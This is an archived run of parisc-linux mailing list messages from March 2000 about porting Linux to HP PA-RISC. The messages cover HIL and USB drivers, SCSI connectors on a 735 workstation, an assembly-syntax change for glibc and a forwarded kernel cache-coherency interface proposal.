Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 13 Mar 2000 15:31:04 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id KAA15731;
	Mon, 13 Mar 2000 10:30:25 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <56D553C0B61BD311AD2300A0C9F485C202E9DAE5@xfc02.fc.hp.com>; from FINK,MARTIN (HP-FtCollins,ex1) on Mon, Mar 13, 2000 at 08:23:38AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:7013

On Mon, Mar 13, 2000 at 08:23:38AM -0700, FINK,MARTIN (HP-FtCollins,ex1) wrote:
> The USB on HP workstations is OHCI, not UHCI.  Don't know if it makes
> a difference from the driver perspective.

oops, my mistake.  Linux already has an OHCI driver too..


From - Thu Nov 08 21:12:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HIL_BASE ("finding" devices)
Date: Mon, 13 Mar 2000 17:05:31 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <20000313170530.I5281@abacus.local>
References: <20000313151007.24401.qmail@web507.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618829 31371 80.91.229.3 (22 Nov 2014 01:13:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:49 +0000 (UTC)
Cc: "Brian S. Julin" <bri@mojo.calyx.net>, g@abacus.local,
        parisc-linux <parisc-linux@thepuffingroup.com>
To: Ulrich Strelow <ulrich_strelow@yahoo.com>
Original-X-From: prumpf@inwestnet.de  Mon Mar 13 10:05:41 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA26836
	for <parisc-linux@puffin.external.hp.com>; Mon, 13 Mar 2000 10:05:29 -0700
Original-Received: (qmail 5569 invoked by uid 15267); 13 Mar 2000 16:06:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5552 invoked from network); 13 Mar 2000 16:06:33 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 13 Mar 2000 16:06:33 -0000
Original-Received: (qmail 14134 invoked from network); 13 Mar 2000 16:06:30 -0000
Original-Received: from port0551.fra.ginko.net (HELO inwestnet.de) (root@212.202.72.43)
  by mail.ginko.net with SMTP; 13 Mar 2000 16:06:30 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id RAA12014;
	Mon, 13 Mar 2000 17:06:36 +0100
X-Mailer: Mutt 1.0i
In-Reply-To: <20000313151007.24401.qmail@web507.mail.yahoo.com>; from ulrich_strelow@yahoo.com on Mon, Mar 13, 2000 at 07:10:07AM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:7014

> If you need a tester for a new HIL-driver on a 715/33
> (like Matthew was using), please let me know. I have
> been using Matthew's hack on my workstation until it
> ceased to work, and it allowed me to see the first
> responses at the sash prompt.

okay, I wasn't aware the HIL driver stopped working at all.  I'm just
setting up the 715 to see whether it can be convinced to go again.

	Philipp Rumpf


From - Thu Nov 08 21:12:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bryan W. Headley" <bheadley@prismalink.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 735 Tech Reference
Date: Mon, 13 Mar 2000 11:05:58 -0600
Organization: Prisma & Company
Lines: 19
Approved: news@gmane.org
Message-ID: <38CD1FF5.821E4E6B@prismalink.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618830 31377 80.91.229.3 (22 Nov 2014 01:13:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:50 +0000 (UTC)
To: parisc-linux <parisc-linux@thepuffingroup.com>
Original-X-From: bheadley@prismalink.com  Mon Mar 13 11:11:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA27361
	for <parisc-linux@puffin.external.hp.com>; Mon, 13 Mar 2000 11:11:25 -0700
Original-Received: (qmail 20634 invoked by uid 15267); 13 Mar 2000 17:12:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20621 invoked from network); 13 Mar 2000 17:12:26 -0000
Original-Received: from clavin.interaccess.com (207.70.126.132)
  by mailserv2.iuinc.com with SMTP; 13 Mar 2000 17:12:26 -0000
Original-Received: from prismalink.com (IDENT:bheadley@d243.focal7.interaccess.com [207.208.187.243])
	by clavin.interaccess.com (8.9.0/8.9.0) with ESMTP id LAA28712
	for <parisc-linux@thepuffingroup.com>; Mon, 13 Mar 2000 11:12:24 -0600 (CST)
Original-Sender: bheadley@clavin.interaccess.com
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.12-20 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7015

Hi, new pa-risc boy, got a 735 that's not booting (it can find the CDROM
fine, but xmap diag shows no hard disks, even when I have one plugged in
externally, that works fine elsewhere.) No doubt I have things
misconfigured. Does anyone know where hardware manual might be found? It
might explain why there's a F/W connector, but then two other F/W-like
connectors (unmarked) on the left-hand side (looking from front).

Once I'm up, I'll be asking if the restriction on 10.20 for
cross-compiling is still there; and if so, where/how to get an 11.x CD
(got a 10.20 and diag CDs from HP as Y2K upgrade kit). So if anyone
wants to share happy news up-front, that'd save me some time (I think)

--
Bryan W. Headley                     Phone: 312/913-9158
Chief Technology Officer             Fax:   312/913-9155
Prisma & Company                     Email: bheadley@prismalink.com




From - Thu Nov 08 21:12:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735 Tech Reference
Date: Mon, 13 Mar 2000 13:42:33 -0500 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200003131842.NAA12003@hiauly1.hia.nrc.ca>
References: <38CD1FF5.821E4E6B@prismalink.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618830 31379 80.91.229.3 (22 Nov 2014 01:13:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:50 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: bheadley@prismalink.com (Bryan W. Headley)
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Mar 13 12:41:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA28115
	for <parisc-linux@puffin.external.hp.com>; Mon, 13 Mar 2000 12:41:46 -0700
Original-Received: (qmail 24460 invoked by uid 15267); 13 Mar 2000 18:42:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24441 invoked from network); 13 Mar 2000 18:42:48 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 13 Mar 2000 18:42:48 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id NAA12003;
	Mon, 13 Mar 2000 13:42:34 -0500 (EST)
In-Reply-To: <38CD1FF5.821E4E6B@prismalink.com> from "Bryan W. Headley" at Mar 13, 2000 11:05:58 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:7016

> Hi, new pa-risc boy, got a 735 that's not booting (it can find the CDROM
> fine, but xmap diag shows no hard disks, even when I have one plugged in
> externally, that works fine elsewhere.) No doubt I have things
> misconfigured. Does anyone know where hardware manual might be found? It
> might explain why there's a F/W connector, but then two other F/W-like
> connectors (unmarked) on the left-hand side (looking from front).

There are two SCSI controllers on the 735.  The F/W connector requires
differential drives which may be why the machine doesn't see your drive.
The single-ended controller connector is an HD-50.  On my 735, there is
a short jumper from the CPU module to the module for the internal hard
drive.  The two HD-50 connectors on the left (top) connect to each other
and the internal hard drive.  They don't need to be used if you are using
all external drives.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:12:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bryan W. Headley" <bheadley@prismalink.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735 Tech Reference
Date: Mon, 13 Mar 2000 12:53:03 -0600
Organization: Prisma & Company
Lines: 39
Approved: news@gmane.org
Message-ID: <38CD390E.AE12F307@prismalink.com>
References: <200003131842.NAA12003@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618830 31382 80.91.229.3 (22 Nov 2014 01:13:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:50 +0000 (UTC)
To: John David Anglin <dave@hiauly1.hia.nrc.ca>,
        parisc-linux <parisc-linux@thepuffingroup.com>
Original-X-From: bheadley@prismalink.com  Mon Mar 13 12:59:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA28372
	for <parisc-linux@puffin.external.hp.com>; Mon, 13 Mar 2000 12:59:22 -0700
Original-Received: (qmail 5012 invoked by uid 15267); 13 Mar 2000 19:00:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5005 invoked from network); 13 Mar 2000 19:00:28 -0000
Original-Received: from postal.interaccess.com (207.208.133.2)
  by mailserv2.iuinc.com with SMTP; 13 Mar 2000 19:00:28 -0000
Original-Received: from prismalink.com (IDENT:bheadley@d93.focal3.interaccess.com [207.208.138.93])
	by postal.interaccess.com (8.9.0/8.9.0) with ESMTP id MAA11365;
	Mon, 13 Mar 2000 12:53:45 -0600 (CST)
Original-Sender: bheadley@postal.interaccess.com
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.12-20 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7017

John David Anglin wrote:

> > Hi, new pa-risc boy, got a 735 that's not booting (it can find the CDROM
> > fine, but xmap diag shows no hard disks, even when I have one plugged in
> > externally, that works fine elsewhere.) No doubt I have things
> > misconfigured. Does anyone know where hardware manual might be found? It
> > might explain why there's a F/W connector, but then two other F/W-like
> > connectors (unmarked) on the left-hand side (looking from front).
>
> There are two SCSI controllers on the 735.  The F/W connector requires
> differential drives which may be why the machine doesn't see your drive.
> The single-ended controller connector is an HD-50.  On my 735, there is
> a short jumper from the CPU module to the module for the internal hard
> drive.  The two HD-50 connectors on the left (top) connect to each other
> and the internal hard drive.  They don't need to be used if you are using
> all external drives.
>

Sounds like I need to open my box and determine if internal hard drive was removed
or not. This also explains that very short HD-50 cable (not meant to reach
anything, really). I have a nice non-differential HD to throw in as internal if
there are none inside. Don't you love eBay auctions :-) ?

>
> --
> J. David Anglin                                  dave.anglin@nrc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)
>
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

--
Bryan W. Headley                     Phone: 312/913-9158
Chief Technology Officer             Fax:   312/913-9155
Prisma & Company                     Email: bheadley@prismalink.com




From - Thu Nov 08 21:12:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735 Tech Reference
Date: Mon, 13 Mar 2000 20:13:10 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20000313201310.J5281@abacus.local>
References: <38CD1FF5.821E4E6B@prismalink.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618830 31385 80.91.229.3 (22 Nov 2014 01:13:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:50 +0000 (UTC)
Cc: parisc-linux <parisc-linux@thepuffingroup.com>
To: "Bryan W. Headley" <bheadley@prismalink.com>
Original-X-From: prumpf@inwestnet.de  Mon Mar 13 13:13:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA28682
	for <parisc-linux@puffin.external.hp.com>; Mon, 13 Mar 2000 13:13:05 -0700
Original-Received: (qmail 15271 invoked by uid 15267); 13 Mar 2000 19:14:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15255 invoked from network); 13 Mar 2000 19:14:08 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 13 Mar 2000 19:14:08 -0000
Original-Received: (qmail 16680 invoked from network); 13 Mar 2000 19:14:05 -0000
Original-Received: from port0091.fra.ginko.net (HELO inwestnet.de) (root@212.202.70.91)
  by mail.ginko.net with SMTP; 13 Mar 2000 19:14:05 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id UAA14962;
	Mon, 13 Mar 2000 20:14:11 +0100
X-Mailer: Mutt 1.0i
In-Reply-To: <38CD1FF5.821E4E6B@prismalink.com>; from bheadley@prismalink.com on Mon, Mar 13, 2000 at 11:05:58AM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:7018

> Once I'm up, I'll be asking if the restriction on 10.20 for
> cross-compiling is still there; and if so, where/how to get an 11.x CD

you can cross-compile from x86 now (and it works very well).  Really,
since cross-compiling works, I only booted hpux to sniff around in their
kernel with adb.

> (got a 10.20 and diag CDs from HP as Y2K upgrade kit). So if anyone
> wants to share happy news up-front, that'd save me some time (I think)

If you want to boot HP/UX at all (that's a big if, imho), you shouldn't
use it for compiling.

	Philipp Rupmf


From - Thu Nov 08 21:12:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Creasey <sammy@sammy.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Assembly Language Changes
Date: Tue, 14 Mar 2000 09:54:43 -0500 (EST)
Lines: 38
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0003140951150.1905-100000@sammyville.sammy.net>
References: <20000312152353.E5281@abacus.local>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618831 31386 80.91.229.3 (22 Nov 2014 01:13:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:51 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@inwestnet.de>
Original-X-From: sammy@sammy.net  Tue Mar 14 08:49:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA04943
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Mar 2000 08:49:26 -0700
Original-Received: (qmail 7662 invoked by uid 15267); 14 Mar 2000 14:50:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7651 invoked from network); 14 Mar 2000 14:50:38 -0000
Original-Received: from dhcp233050.columbus.rr.com (HELO sammyville.sammy.net) (204.210.233.50)
  by mailserv2.iuinc.com with SMTP; 14 Mar 2000 14:50:38 -0000
Original-Received: from localhost (sammy@localhost)
	by sammyville.sammy.net (8.8.7/8.8.7) with ESMTP id JAA01973;
	Tue, 14 Mar 2000 09:54:43 -0500
In-Reply-To: <20000312152353.E5281@abacus.local>
Xref: news.gmane.org gmane.linux.ports.parisc:7019



On Sun, 12 Mar 2000, Philipp Rumpf wrote:

> Hello,
> over the last few days or so, I have been trying to get glibc to build and
> work for a Linux/PA-RISC target.  I came to believe it would be simpler to
> change certain aspects of the assembly language used than to keep working
> around them:

At least in the ELF toolchain (which, I think we did change the kernel
over to, didn't we?)  I've already begun freely banging the assembler
syntax into a more gas-like format...   

> The advantages to changing the assembly dialect we use are that using cpp
> to pre-process assembly instructions becomes a lot simpler (glibc makes
> heavy use of this);  the assembly language looks more similar to those
> used for other architectures that run Linux;  there is no difference
> between the pa1.1 and pa2.0 versions.

Agreed.  The original workarounds in the kernel were rather hideous, and
prevented us fron doing quite a few useful things.  (initcalls, anybody?)

Maximum software build support good.

> The disadvantage, obviously, is that we would need to keep separate
> binaries around to compile HP/UX assembly source;  also, the assembly
> files used by the kernel would need to be converted (and probably get
> readable to more people in the process).

Hmph...  I'm not sure how many people working on the port hold a deep
value in the ability to recompile HP/UX apps (or, in this case,
reassemble).  Just run the damn HP assembler if you feel a deep need to
run HP programs under the linux kernel (imho).

-- Sam



From - Thu Nov 08 21:12:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Assembly Language Changes
Date: Tue, 14 Mar 2000 15:58:18 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20000314155818.Q5281@abacus.local>
References: <20000312152353.E5281@abacus.local> <Pine.LNX.4.21.0003140951150.1905-100000@sammyville.sammy.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618831 31387 80.91.229.3 (22 Nov 2014 01:13:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:51 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Sam Creasey <sammy@sammy.net>
Original-X-From: prumpf@inwestnet.de  Tue Mar 14 08:57:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA05170
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Mar 2000 08:57:57 -0700
Original-Received: (qmail 13014 invoked by uid 15267); 14 Mar 2000 14:59:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12991 invoked from network); 14 Mar 2000 14:59:16 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 14 Mar 2000 14:59:16 -0000
Original-Received: (qmail 25561 invoked from network); 14 Mar 2000 14:59:13 -0000
Original-Received: from port0512.fra.ginko.net (HELO inwestnet.de) (root@212.202.72.4)
  by mail.ginko.net with SMTP; 14 Mar 2000 14:59:13 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id PAA27021;
	Tue, 14 Mar 2000 15:59:19 +0100
X-Mailer: Mutt 1.0i
In-Reply-To: <Pine.LNX.4.21.0003140951150.1905-100000@sammyville.sammy.net>; from sammy@sammy.net on Tue, Mar 14, 2000 at 09:54:43AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:7020

> > over the last few days or so, I have been trying to get glibc to build and
> > work for a Linux/PA-RISC target.  I came to believe it would be simpler to
> > change certain aspects of the assembly language used than to keep working
> > around them:
> 
> At least in the ELF toolchain (which, I think we did change the kernel
> over to, didn't we?)  I've already begun freely banging the assembler
> syntax into a more gas-like format...   

nod.  I've got binutils, gcc, glibc, linux moved to the new assembly language
here, just waiting for everyone to have a chance to comment before committing.

> > The disadvantage, obviously, is that we would need to keep separate
> > binaries around to compile HP/UX assembly source;  also, the assembly
> > files used by the kernel would need to be converted (and probably get
> > readable to more people in the process).
> 
> Hmph...  I'm not sure how many people working on the port hold a deep
> value in the ability to recompile HP/UX apps (or, in this case,
> reassemble).  Just run the damn HP assembler if you feel a deep need to
> run HP programs under the linux kernel (imho).

it's a 10-line perl script to convert, so I tend to agree with dropping the
HP syntax completely.

	Philipp


From - Thu Nov 08 21:12:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "MEYER,ALAN C. \(HP-FtCollins,ex1\)" <alan_meyer@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FW: Linux-2.3.x cache coherency issues, proposed new architecture
Date: Tue, 14 Mar 2000 09:46:18 -0700
Lines: 181
Approved: news@gmane.org
Message-ID: <56D553C0B61BD311AD2300A0C9F485C2038D103D@xfc02.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416618831 31389 80.91.229.3 (22 Nov 2014 01:13:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:51 +0000 (UTC)
To: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
Original-X-From: alan_meyer@hp.com  Tue Mar 14 10:45:10 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA09070
	for <parisc-linux@puffin.external.hp.com>; Tue, 14 Mar 2000 10:45:10 -0700
Original-Received: (qmail 25437 invoked by uid 15267); 14 Mar 2000 16:46:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25429 invoked from network); 14 Mar 2000 16:46:30 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 14 Mar 2000 16:46:30 -0000
Original-Received: from xboibrg1.boi.hp.com (xboibrg1.boi.hp.com [15.56.8.167])
	by atlrel1.hp.com (Postfix) with ESMTP id BEE2CE4E9
	for <parisc-linux@thepuffingroup.com>; Tue, 14 Mar 2000 11:46:20 -0500 (EST)
Original-Received: by xboibrg1.boi.hp.com with Internet Mail Service (5.5.2650.21)
	id <G5MABQG3>; Tue, 14 Mar 2000 09:46:20 -0700
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:7021

Here is a message from David Miller about proposed changes in 2.3 around VM
interfaces & cache coherency.

PA/Linux is not on the list and we should get our input to David.

It would be nice to have a single point of contact to David for the PA/Linux
view.

Matthew, John, Grant - one of y'all?

Alan

-----Original Message-----
From: David S. Miller [mailto:davem@redhat.com] 
Sent: Tuesday, March 14, 2000 2:53 AM
To: davem@redhat.com
Cc: cort@fsmlabs.com; rmk@arm.linux.org.uk; rth@cygnus.com;
paulus@linuxcare.com; anton@progsoc.uts.edu.au; jakub@redhat.com;
Jes.Sorensen@cern.ch; ralf@uni-koblenz.de; davidm@napali.hpl.hp.com;
gniibe@m17n.org; kkojima@rr.iij4u.or.jp
Subject: Linux-2.3.x cache coherency issues, proposed new architecture



Hello port maintainers,

Now that the page cache is really unified in 2.3.x I would
like to properly deal with some cache coherency issues and
kill a lot of old and poorly designed cruft we have in the
architecture-defined VM interfaces.

First, we have to start from what the issues are for
various architectures.  I list what I am decently aware of
below.  If your port is missing or your port is listed
but questions appear in it's section, _please_ fill me
in so I can be more knowledgable about your port for the
purposes of the proposed changes below.

IA64:

	I-cache aparently cannot see DMA activity?
	Or is it blind only to local cpu stores?

Sparc64:

	I-cache cannot see local cpu stores.

	D-cache is virtually indexed, and the most significant
	indexing bit is (1 << PAGE_SHIFT).  This creates a situation
	where illegal aliases can enter the cache if multiple mappings
	of a physical page are not all mapped at virtual addresses
	with bit "(1 << PAGE_SHIFT)" being the same.

Sparc:

	sun4c: Cpu has shared I/D cache which is virtually indexed
	       and virtually tagged (with mmu context info as well).
	       It is 64K (which is > PAGE_SIZE) and thus has the same
	       cache alias issues as sparc64's D-cache.

	       When mmu/tlb mappings are removed, all cache entries
	       referring to that mapping must be removed first.
	       The cpu will take an exception otherwise.  The reason
	       is that in order to perform a write-back properly,
	       the cpu must be able to get a virt->phys translation
	       from the tlb since the cache does not use physical
	       addresses in it's tags.

	sun4m: So many combinations of virtually indexed, physically
	       indexed, split I/D, split I/D + combined L2, coherent
	       with DMA, not coherent with DMA, etc. cache setups that
	       I don't even want to list them all.

MIPS:	Most R4x00 variants have the virtually indexed cache illegal
	alias issue.  In fact, many of the r4x00 chips will actually
	signal an exception if you create an illegal alias situation
	(ie. 2 lines exist in the cache at the same time which refer
	 to the same physical data)

Below I outline the first set of interfaces I'd like to put
into the kernel to definitively catch all kernel side cpu
accesses to page cache pages.  They are designed such that
you can do whatever you want, to deal with whatever problem
you have wrt. user vs. kernel views of physical pages wrt.
cache coherency or whatever.  Also, they are designed such that
ports which have totally coherent caches pay no performance
penalty whatsoever.

All other data transfers not caught by these interfaces below
are assumed to be done via "DMA".  And in such a case you need
to be aware of and deal with two cases:

1) CPU is not coherent with DMA activity, in which case your
   {pci,sbus,zorro,etc}_{map,unmap}_{single,sg}() implementation
   must take care of it.

2) PIO data transfers.  In this case you must make your
   {in,out}s{b,w,l}() implementation do whatever cache flushing
   is needed.

This, along with a proper setting of SHMLBA in asm/shmparam.h
should take care of all cache coherency issues imaginable to
mankind :-)

============================================================

/* Suggested page cache data transfer interfaces. */

/* Copy LEN bytes from kernel address KADDR to
 * kernel address (TO_PAGE + OFFSET).
 */
copy_page_cache_fromkernel(to_page, offset, kaddr, len);

/* Copy LEN bytes from kernel address (FROM_PAGE + OFFSET)
 * to kernel address KADDR.
 */
copy_page_cache_fromkernel(kaddr, from_page, offset, len);

/* Copy LEN bytes of data from user-space address UADDR
 * to kernel address (TO_PAGE + OFFSET).
 */
copy_page_cache_fromuser(to_page, offset, uaddr, len);

/* Copy LEN bytes of data from kernel address (FROM_PAGE + OFFSET)
 * to user-space address UADDR.
 */
copy_page_cache_touser(uaddr, from_page, offset, len);

/* Clear all PAGE_CACHE_SIZE bytes of kernel page PAGE. */
clear_page_cache(page);

/* Clear LEN bytes at kernel address (PAGE + OFFSET). */
clear_page_cache_partial(page, offset, len);

/* If local processor stores into a page cache page have
 * been via some mechanism _other_ than the above copy/clear
 * interfaces, the following must be invoked on PAGE before
 * it is marked "uptodate" by the kernel.
 */
flush_page_cache_page(page);

============================================================

Also, I have just submitted a patch to Linus which adds
a "vaddr" user virtual address argument to clear_page()
and copy_page().  (BTW, this allows a performance optimization
as well as a way to assist in virtual cache alias prevention,
since you know the user space virtual address you can create
a temporary local-cpu mmu mapping of the pages involved such
that the address at which you perform the copy loads and stores
is congruent to the cache lines the user space mapping will reference
them by, and if you have a clever software replacable tlb you
can just load these mappings by hand before the copy, save
away the tlb entries which were there before you started, and
restore the original mappings after the copy.  This allows to
handle page copy and clear operations with zero tlb activity
around the operations.  Sparc64 does just this in
arch/sparc64/lib/blockops.S and I intend to make various flavors
of sparc32 do something similar very soon.)

The above interfaces should allow a complete kill of
flush_page_to_ram() from the set of public interfaces.
I believe with some care it can also allow flush_icache_page()
to die.  The two interfaces mentioned in this paragraph are
very vague, and most people don't know what they even do
anymore or where the proper place is to make use of them.
Furthermore they can lead to inefficient ports, for cases
where one only needs to flush (certain) caches in some cases
but not everywhere flush_page_to_ram or flush_icache_page
are actually invoked.

Please send me commentary and suggestions as soon as possible
so that I can whip up the implementation of these ideas
and submit them to Linus "very soon". :-)

Thanks.

Later,
David S. Miller
davem@redhat.com


From - Thu Nov 08 21:12:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FW: Linux-2.3.x cache coherency issues, proposed new architecture
Date: Tue, 14 Mar 2000 18:11:22 +0100
Lines: 6
Approved: news@gmane.org
Message-ID: <20000314181122.R5281@abacus.local>
References: <56D553C0B61BD311AD2300A0C9F485C2038D103D@xfc02.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618832 31392 80.91.229.3 (22 Nov 2014 01:13:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
